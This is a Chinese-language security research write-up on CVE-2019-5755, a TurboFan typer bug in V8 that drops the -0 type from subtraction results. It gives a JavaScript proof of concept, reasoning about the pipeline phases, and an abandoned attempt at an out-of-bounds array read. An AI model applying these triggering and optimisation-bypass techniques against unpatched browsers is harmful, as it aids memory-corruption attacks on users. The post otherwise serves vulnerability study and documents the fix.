V8 CVE-2019-5755 MinusZero类型缺失漏洞 in turboFan

 

一、前言

  • CVE-2019-5755 是一个位于 v8 turboFan 的类型信息缺失漏洞。该漏洞将导致 SpeculativeSafeIntegerSubtract 的计算结果缺失 MinusZero (即 -0)这种类型。这将允许 turboFan 计算出错误的 Range 并可进一步构造出越界读写原语,乃至执行 shellcode。
  • 复现用的 v8 版本为 7.1.302.28 (或者commit ID a62e9dd69957d9b1d0a56f825506408960a283fc 前的版本也可)

 

二、环境搭建

  • 切换 v8 版本,然后编译:
    git checkout 7.1.302.28
    gclient sync
    tools/dev/v8gen.py x64.debug
    ninja -C out.gn/x64.debug
    
  • 启动 turbolizer。如果原先版本的 turbolizer 无法使用,则可以使用在线版本的 turbolizer
    cd tools/turbolizer
    npm i
    npm run-script build
    python -m SimpleHTTPServer 8000&
    google-chrome http://127.0.0.1:8000
    

 

三、漏洞细节

  • turboFan 的 Typer 将 SpeculativeSafeIntegerSubtract 的类型设置为与 kSafeInteger 的交集,但这里没有考虑到 -0 (即 MinusZero)的情况。 例如:算式 ((-0) - 0) 应该返回 -0,但是由于 Typer 取的是两 个类型的交集,因此 typer 将忽略 MinusZero (-0) 的这种情况。而这种 wrong case 可以用来执行错误的范围计算。以下是 SpeculativeSafeIntegerSubtract 函数(漏洞函数)以及 SpeculativeSafeIntegerAdd 函数(对照函数)的源码:
    Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) {
      Type result = SpeculativeNumberAdd(lhs, rhs);
      // If we have a Smi or Int32 feedback, the representation selection will
      // either truncate or it will check the inputs (i.e., deopt if not int32).
      // In either case the result will be in the safe integer range, so we
      // can bake in the type here. This needs to be in sync with
      // SimplifiedLowering::VisitSpeculativeAdditiveOp.
      return Type::Intersect(result, cache_.kSafeIntegerOrMinusZero, zone());
    }
    
    Type OperationTyper::SpeculativeSafeIntegerSubtract(Type lhs, Type rhs) {
      Type result = SpeculativeNumberSubtract(lhs, rhs);
      // If we have a Smi or Int32 feedback, the representation selection will
      // either truncate or it will check the inputs (i.e., deopt if not int32).
      // In either case the result will be in the safe integer range, so we
      // can bake in the type here. This needs to be in sync with
      // SimplifiedLowering::VisitSpeculativeAdditiveOp.
    
      /* 
        给左右操作数相减的结果(即变量 result)与 `kSafeInteger`类型 相交,返回 **交集** 。
        !!! 注意这里,使用的是 cache_.kSafeInteger
        与上面SpeculativeSafeIntegerAdd函数使用的cache_.kSafeIntegerOrMinusZero不一致
      */
      return result = Type::Intersect(result, cache_.kSafeInteger, zone());
    }
    
  • 以下是该漏洞的 PoC:
    function foo(trigger) {
        var idx = Object.is((trigger ? -0 : 0) - 0, -0);
        return idx;
    }
    
    console.log(foo(false));
    %OptimizeFunctionOnNextCall(foo);
    console.log(foo(true)); // expected: true, got: false
    

    正常来说,foo(true)应该始终返回 true (因为 $-0 – 0 = -0$),但优化后产生的结果却是 false。

    我们可以观察一下 turbolizer 中的信息:

可以看到,对于 {MinusZero | Range(0,0)} – Range(0,0) 这种情况,SpeculativeSafeIntegerSubtract 的 Type 中并没有 MinusZero 这种类型。

因此,turboFan 将始终在 TypedLoweringPhase - TypedOptimization::ReduceSameValue中,把SameValue 结点优化成 false,因为 $MinusZero \ne Range(0, 0)$。

  • SameValue 结点是通过 JS 中Object.is 函数调用来生成的,其目的是用于判断左右操作数是否相同。具体来说是通过以下调用链生成:
    void InliningPhase::Run(...)
        Reduction JSCallReducer::ReduceJSCall(...)
          Reduction JSCallReducer::ReduceObjectIs(Node* node)
    

    其中,函数 ReduceObjectIs 的源码如下:

    // ES section #sec-object.is
    Reduction JSCallReducer::ReduceObjectIs(Node* node) {
      DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
      CallParameters const& params = CallParametersOf(node->op());
      int const argc = static_cast<int>(params.arity() - 2);
      Node* lhs = (argc >= 1) ? NodeProperties::GetValueInput(node, 2)
                              : jsgraph()->UndefinedConstant();
      Node* rhs = (argc >= 2) ? NodeProperties::GetValueInput(node, 3)
                              : jsgraph()->UndefinedConstant();
      // 生成 SameValue Node
      Node* value = graph()->NewNode(simplified()->SameValue(), lhs, rhs);
      ReplaceWithValue(node, value);
      return Replace(value);
    }
    

    Typer 将在 TyperPhase 阶段试着计算出 SameValue 结点的类型,它将沿着以下调用链

    Type Typer::Visitor::TypeSameValue(Node* node)
      Type Typer::Visitor::SameValueTyper(Type lhs, Type rhs, Typer* t)
        Type OperationTyper::SameValue(Type lhs, Type rhs)
    

    调用到OperationTyper::SameValue函数并计算其类型:

    Type OperationTyper::SameValue(Type lhs, Type rhs) {
      if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
      if (lhs.Is(Type::NaN())) {
        if (rhs.Is(Type::NaN())) return singleton_true();
        if (!rhs.Maybe(Type::NaN())) return singleton_false();
      } else if (rhs.Is(Type::NaN())) {
        if (!lhs.Maybe(Type::NaN())) return singleton_false();
      }
      if (lhs.Is(Type::MinusZero())) {
        if (rhs.Is(Type::MinusZero())) return singleton_true();
        if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
       // 如果左右操作数不同时为 MinusZero,则返回 false。
      } else if (rhs.Is(Type::MinusZero())) {
        if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
      }
      if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
          (lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
        return singleton_false();
      }
      return Type::Boolean();
    }
    

    当 SameValue 结点计算出 确定性的类型(即 true / false)后,turboFan 将在 TypedLoweringPhase 阶段中的 ConstantFoldingReducer 对 SameValue 进行结点替换,用之前计算出的 HeapConstant 替换当前的 SameValue 结点:

    Reduction ConstantFoldingReducer::Reduce(Node* node) {
      DisallowHeapAccess no_heap_access;
    // Check if the output type is a singleton.  In that case we already know the
      // result value and can simply replace the node if it's eliminable.
      // 如果当前结点的 type 是 singleton,即确定只有一种类型,则开始优化
      if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
          node->op()->HasProperty(Operator::kEliminatable)) {
        // ...
    
        // We can only constant-fold nodes here, that are known to not cause any
        // side-effect, may it be a JavaScript observable side-effect or a possible
        // eager deoptimization exit (i.e. {node} has an operator that doesn't have
        // the Operator::kNoDeopt property).
        // 获取当前结点的类型
        Type upper = NodeProperties::GetType(node);
        if (!upper.IsNone()) {
          Node* replacement = nullptr;
          // 如果当前结点是 HeapConstant
          if (upper.IsHeapConstant()) {
            replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
          } else if // ...
          // ...
          if (replacement) {
            // Make sure the node has a type.
            // 使用新类型进行替换
            if (!NodeProperties::IsTyped(replacement)) {
              NodeProperties::SetType(replacement, upper);
            }
            ReplaceWithValue(node, replacement);
            return Changed(replacement);
          }
        }
      }
      return NoChange();
    }
    

    若 SameValue 无法得到确定性的类型,则将在 TypedLoweringPhase 中通过 TypedOptimization::ReduceSameValue 函数进行另一种优化。以下是该函数的源码,在该源码中我们可以了解到 ReduceSameValue 的详细执行过程:

    Reduction TypedOptimization::ReduceSameValue(Node* node) {
      DCHECK_EQ(IrOpcode::kSameValue, node->opcode());
      Node* const lhs = NodeProperties::GetValueInput(node, 0);
      Node* const rhs = NodeProperties::GetValueInput(node, 1);
      Type const lhs_type = NodeProperties::GetType(lhs);
      Type const rhs_type = NodeProperties::GetType(rhs);
      if (lhs == rhs) {
        // SameValue(x,x) => #true
        return Replace(jsgraph()->TrueConstant());
      } else if (lhs_type.Is(Type::Unique()) && rhs_type.Is(Type::Unique())) {
        // SameValue(x:unique,y:unique) => ReferenceEqual(x,y)
        NodeProperties::ChangeOp(node, simplified()->ReferenceEqual());
        return Changed(node);
      } else if (lhs_type.Is(Type::String()) && rhs_type.Is(Type::String())) {
        // SameValue(x:string,y:string) => StringEqual(x,y)
        NodeProperties::ChangeOp(node, simplified()->StringEqual());
        return Changed(node);
      } else if (lhs_type.Is(Type::MinusZero())) {
        // SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
        node->RemoveInput(0);
        NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
        return Changed(node);
      } else if (rhs_type.Is(Type::MinusZero())) {
        // SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
        node->RemoveInput(1);
        NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
        return Changed(node);
      } else if (lhs_type.Is(Type::NaN())) {
        // SameValue(x:nan,y) => ObjectIsNaN(y)
        node->RemoveInput(0);
        NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
        return Changed(node);
      } else if (rhs_type.Is(Type::NaN())) {
        // SameValue(x,y:nan) => ObjectIsNaN(x)
        node->RemoveInput(1);
        NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
        return Changed(node);
      } else if (lhs_type.Is(Type::PlainNumber()) &&
                 rhs_type.Is(Type::PlainNumber())) {
        // SameValue(x:plain-number,y:plain-number) => NumberEqual(x,y)
        NodeProperties::ChangeOp(node, simplified()->NumberEqual());
        return Changed(node);
      }
      return NoChange();
    }
    
  • 我们再简单了解一下 SpeculativeSafeIntegerSubtract 和 SpeculativeNumberSubtract 结点的生成方式。这两种结点的生成都将通过以下调用链:
    bool PipelineImpl::CreateGraph()
      void GraphBuilderPhase::Run(...)
        void BytecodeGraphBuilder::CreateGraph(...)
          void BytecodeGraphBuilder::VisitBytecodes(...)
            void BytecodeGraphBuilder::VisitSingleBytecode(...)
              void BytecodeGraphBuilder::VisitSubSmi()
                void BytecodeGraphBuilder::BuildBinaryOpWithImmediate(...)
                  void BytecodeGraphBuilder::BuildBinaryOp(...)
                    BytecodeGraphBuilder::TryBuildSimplifiedBinaryOp(...)
                      JSTypeHintLowering::LoweringResult JSTypeHintLowering::ReduceBinaryOperation(...)
                        Node* TryBuildNumberBinop()
                          const Operator* SpeculativeNumberOp(NumberOperationHint hint)
    

    调用到最终的目标函数 SpeculativeNumberOp

    const Operator* SpeculativeNumberOp(NumberOperationHint hint) {
        switch (op_->opcode()) {
          // ...
          case IrOpcode::kJSSubtract:
            if (hint == NumberOperationHint::kSignedSmall ||
                hint == NumberOperationHint::kSigned32) {
              return simplified()->SpeculativeSafeIntegerSubtract(hint);
            } else {
              return simplified()->SpeculativeNumberSubtract(hint);
            }
          // ...
        }
        UNREACHABLE();
      }
    

    在 TryBuildNumberBinop 函数中,turboFan 试图从 feedback_vector 中获取操作数的相关信息。操作数信息一共有以下五种类型:

    // A hint for speculative number operations.
    enum class NumberOperationHint : uint8_t {
      kSignedSmall,        // Inputs were Smi, output was in Smi.
      kSignedSmallInputs,  // Inputs were Smi, output was Number.
      kSigned32,           // Inputs were Signed32, output was Number.
      kNumber,             // Inputs were Number, output was Number.
      kNumberOrOddball,    // Inputs were Number or Oddball, output was Number.
    };
    

    当且仅当操作数类型为 NumberOperationHint::kSignedSmallNumberOperationHint::kSigned32时,当前减法才会被视为是 Safe 的,因此创建 SpeculativeSafeIntegerSubtract 结点;否则创建保守的 SpeculativeNumberSubtract 结点。

  • 最后附带说明一下部分数字类型的范围

    参照源码 src/compiler/types.h

    • 一些基础类型
      • OtherNumber(ON):$(-\infin, -2^{31}) \cup [2^{32}, \infin)$
      • OtherSigned32(OS32) :$[-2^{31}, -2^{30})$
      • Negative31(N31):$[-2^{30}, 0)$
      • Unsigned30(U30): $[0, 2^{30})$
      • OtherUnsigned31(OU31): $[2^{30}, 2^{31})$
      • OtherUnsigned32(OU32): $[2^{31}, 2^{32})$
        ON    OS32     N31     U30     OU31    OU32     ON
      ______[_______[_______[_______[_______[_______[_______
          -2^31   -2^30     0      2^30    2^31    2^32
      
  • Integral32:$[-2^{31}, 2^{32})$
  • PlainNumber:任何浮点数,不包括 $-0$
  • Number:任何浮点数,包括 $-0$、$NaN$
  • Numeric:任何浮点数,包括 $-0$、$NaN$ 以及 $BigInt$

 

四、漏洞利用

尽管理论上可以通过该漏洞构造越界读取原语,但实际利用起来仍然存在一个无法解决的问题。

即便如此,我们仍然可以在尝试构造漏洞利用中加深对 turboFan 的理解。

初始 Poc 如下

function foo(trigger) {
    var idx = Object.is((trigger ? -0 : 0) - 0, -0);
    return idx;
}

console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false

从 turbolizer 中可以看到,不管传入函数的参数是什么,最后都将会把 SameValue 结点直接优化为 HeapConstant\<false\>,同时运行时 idx 值也是 false,两个结果相同,因此无法利用漏洞。

为什么运行时 idx 值也是 false 呢?因为当生成了 HeapConstant\<false\>之后,turboFan 就会直接优化变量 idx 的计算过程,直接取结果值 false:

我们希望,传入 -0 时(即传入参数 true),编译时SameValue 结点类型为 false,但运行时的结果为 true,这样就会有一个范围差,我们便可以利用它来计算出错误的范围。换句话说,我们需要让 turboFan 认为编译时的 SameValue 结点值为 0,但运行时的值是 1,这样我们才可以利用这个差值搭配乘法进行数组越界。

编译时的值:turboFan 执行 type 时所确认的值/范围,即静态分析时确定的数值。

运行时的值,终端调用 v8 执行 JS 程序时最终计算出的值。

因此,我们就必须禁止 turboFan 为 SameValue 结点生成 HeapConstant\<false\>结点,也就是说我们就必须在执行 simplified lowering 前的所有 ConstantFoldingReducer 时,不精确计算出 SameValue 的类型,即推迟该节点被 type 为 HeapConstant 的时机至执行完所有 ConstantFoldingReducer 之后。否则一旦出现 HeapConstant,则运行时的 idx 变量值就固定为该 HeapConstant,不会再重新计算。

那么,我们该让 SameValue 在什么时候被精确 type 呢?我们先看一下整个 pipeline 中运行 typer 的地方有哪些:

  • TyperPhase 阶段
  • LoadEliminationPhase 阶段中的 TypeNarrowingReducer 函数
  • SimplifiedLoweringPhase 阶段中的 UpdateFeedbackType 函数

后两种是通过以下宏定义来调用 typer(咋一看还没认出来):

switch (node->opcode()) {
#define DECLARE_CASE(Name)                               \
  case IrOpcode::k##Name: {                              \
    new_type = op_typer_.Name(input0_type, input1_type); \
    break;                                               \
  }
      SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
  // ...
}

而 ConstantFoldingReducer 出现在 TypedLoweringPhaseLoadEliminationPhase。因此我们只能让 SameValue 在 SimplifiedLoweringPhase 阶段被精确 type。

但需要注意的是,TypedOptimization in TypedLoweringPhase 将会对 SameValue 进行一次 reduce 操作。我们必须阻止它将 SameValue 结点优化成 ObjectIsMinusZero 结点,因为该结点将不会在 simplifedLoweringPhase 中进行 type(只会进行节点替换,替换成 Int32Constant)。

综合上面的要求,我们不能让 turboFan 在 EscapeAnalysisPhase 之前的 Phase 中,确认出 SameValue 的第二个 操作数类型为 MinusZero。因此,就需要引入一点点 EscapeAnalysis 的内容 (完整内容请查阅 Escape-Analysis-in-V8):

简单来说,EscapeAnalysis 可以但不限于将一个 LoadField 操作转换成一个栈变量读取操作。这样,在 EscapeAnalysisPhase 之前的 Phase,由于 LoadField 结点的存在,自然就无法获取到对应值的类型。因此笔者一开始将 Poc 修改为如下:

function foo(trigger) {
    let obj = { a: -0 }; // Escape Analysis 特供1
    let wrongNum = (trigger ? -0 : 0) - 0;
    let idx = Object.is(wrongNum, obj.a);
    return idx + 1;

}
// Escape Analysis 特供2
for(let a = 0; a < 2; a++)
    foo(false);
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false

需要注意的是,Escape Analysis 对函数的 type feedback有一定的要求。如果目标函数只运行了一次,那么 escape analysis 分析效果非常的差,基本上无法分析出任何有用的东西,包括刚刚说的 LoadField 替换也无法完成。因此必须在优化前多执行几次目标函数。

同时,Escape Analysis 的目标对象,必须有个修饰符 let / var,否则无法替换 LoadField 结点,这其中主要是因为作用域的关系。

但实际调试发现, LoadField 结点的替换将会被 LoadElimination( 位于 LoadEliminationPhase) 截胡。也就是说,在 LoadEliminationPhase 时,obj.a 就会被替换成 -0。相关代码如下:

Reduction LoadElimination::ReduceLoadField(Node* node) {
  FieldAccess const& access = FieldAccessOf(node->op());
  Node* object = NodeProperties::GetValueInput(node, 0);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  if (access.offset == HeapObject::kMapOffset &&
      access.base_is_tagged == kTaggedBase) {
    // ...
  } else {
    int field_index = FieldIndexOf(access);
    if (field_index >= 0) {
      if (Node* replacement = state->LookupField(object, field_index)) {
        // Make sure we don't resurrect dead {replacement} nodes.
        if (!replacement->IsDead()) {
          // Introduce a TypeGuard if the type of the {replacement} node is not
          // a subtype of the original {node}'s type.
          if (!NodeProperties::GetType(replacement)
                   .Is(NodeProperties::GetType(node))) {
            Type replacement_type = Type::Intersect(
                NodeProperties::GetType(node),
                NodeProperties::GetType(replacement), graph()->zone());
            // 建立新结点
            replacement = effect =
                graph()->NewNode(common()->TypeGuard(replacement_type),
                                 replacement, effect, control);
            // type 设置
            NodeProperties::SetType(replacement, replacement_type);
          }
          // 结点替换
          ReplaceWithValue(node, replacement, effect);
          return Replace(replacement);
        }
      }
      state = state->AddField(object, field_index, node, access.name, zone());
    }
  }
  // ...
  return UpdateState(node, state);
}

但 LoadEliminationPhase 中存在 ConstantFoldingReducer,因此最终 SameValue 结点还是会被替换成 HeapConstant。所以我们还是必须想办法绕过 LoadElimination 的优化,进入 EscapeAnalysis 中的优化。

折腾了相当长的时间,终于找到了绕过的方法,以下是修改后的 PoC,与之前相比,加了一行略微奇怪的 console.log 函数调用:

这个绕过方法是蒙出来的,把代码改复杂一点有时可以非常玄学的绕过某些优化。

function foo(trigger) {
    let obj = { a: -0 }; // Escape Analysis 特供1
    let wrongNum = (trigger ? -0 : 0) - 0;
    console.log(obj.a = -0 );     // 绕过 LoadElimination 特供
    let idx = Object.is(wrongNum, obj.a);
    return idx + 1;

}
// Escape Analysis 特供2
for(let a = 0; a < 2; a++)
    foo(false);
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true)); // expected: true, got: false

因此我们便可以绕过LoadElimination:

在 EscapeAnalysisPhase 完成之后,彻底完成所有的基础工作:

之后笔者稍微修改了一下代码,添加上数组访问操作,看看能否成功优化 checkbounds 结点(原先的代码只是获取索引值):

function foo(trigger) {
    let arr = [0.1, 0.2, 0.3, 0.4];
    let obj = { a: -0 }; // Escape Analysis 特供1
    let wrongNum = (trigger ? -0 : 0) - 0;
    console.log(obj.a);     // 绕过 LoadElimination 的特供语句
    let idx = Object.is(wrongNum, obj.a);
    return arr[idx * 1337]; // 试着越界
}
// Escape Analysis 特供2
for(let a = 0; a < 2; a++)
    foo(false);
%OptimizeFunctionOnNextCall(foo);
console.log(foo(true));

观察 turbolizer,可以发现 checkbounds 结点被成功优化:

编译生成的汇编代码貌似也没什么问题:

Builtin_SameValue 的函数调用规范:%rdx 和 %rax 分别为左右两个操作数。

看上去应该可以成功越界读取,但实际执行时发现读取出的仍然是索引值为0的数组元素(心态崩了TAT)。

笔者动态调试了一下编译后 JS 函数的汇编代码,发现变量 wrongNum 被截断成整型,之后与 0x1 进行比较:

使用 --trace-turbo 参数 结合 turbolizer ,即时查看编译后函数的内存地址;同时搭配内置函数 %SystemDebug(),便于调试。

而这实际上是 ChangeInt31ToTaggedSigned 结点的锅:

由于这个 ChangeInt31ToTaggedSigned 结点在 Simplified Lowering 阶段中生成,不可优化,因此 exp 编写就没办法继续下去,只能就此终止。

 

五、后记

  • 该漏洞补丁的详细信息请查阅此处
    Type OperationTyper::SpeculativeSafeIntegerSubtract(Type lhs, Type rhs) {
      Type result = SpeculativeNumberSubtract(lhs, rhs);
      // If we have a Smi or Int32 feedback, the representation selection will
      // either truncate or it will check the inputs (i.e., deopt if not int32).
      // In either case the result will be in the safe integer range, so we
      // can bake in the type here. This needs to be in sync with
      // SimplifiedLowering::VisitSpeculativeAdditiveOp.
    -  return result = Type::Intersect(result, cache_.kSafeInteger, zone());
    +  return Type::Intersect(result, cache_.kSafeIntegerOrMinusZero, zone());
    }
    
    void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
                                             SimplifiedLowering* lowering) {
       // ...
    
       Type left_feedback_type = TypeOf(node->InputAt(0));
         Type right_feedback_type = TypeOf(node->InputAt(1));
         // Handle the case when no int32 checks on inputs are necessary (but
         // an overflow check is needed on the output). Note that we do not
    -    // have to do any check if at most one side can be minus zero.
    -    if (left_upper.Is(Type::Signed32OrMinusZero()) &&
    +    // have to do any check if at most one side can be minus zero. For
    +    // subtraction we need to handle the case of -0 - 0 properly, since
    +    // that can produce -0.
    +    Type left_constraint_type =
    +        node->opcode() == IrOpcode::kSpeculativeSafeIntegerAdd
    +            ? Type::Signed32OrMinusZero()
    +            : Type::Signed32();
    +    if (left_upper.Is(left_constraint_type) &&
             right_upper.Is(Type::Signed32OrMinusZero()) &&
             (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) {
           VisitBinop(node, UseInfo::TruncatingWord32(),
                     MachineRepresentation::kWord32, Type::Signed32());
         } else {
         // ...
         }
         // ...
    }
    
  • 漏洞修复后,原先 Poc 执行的 turbolizer 视图如下:

可以看到,SpeculativeSafeIntegerSubtra 的 Type 包含了 MinusZero 这种类型,因此下面的 SameValue 的类型也不再固定为 false, 而是不确定的 Boolean。

 

六、参考

(完)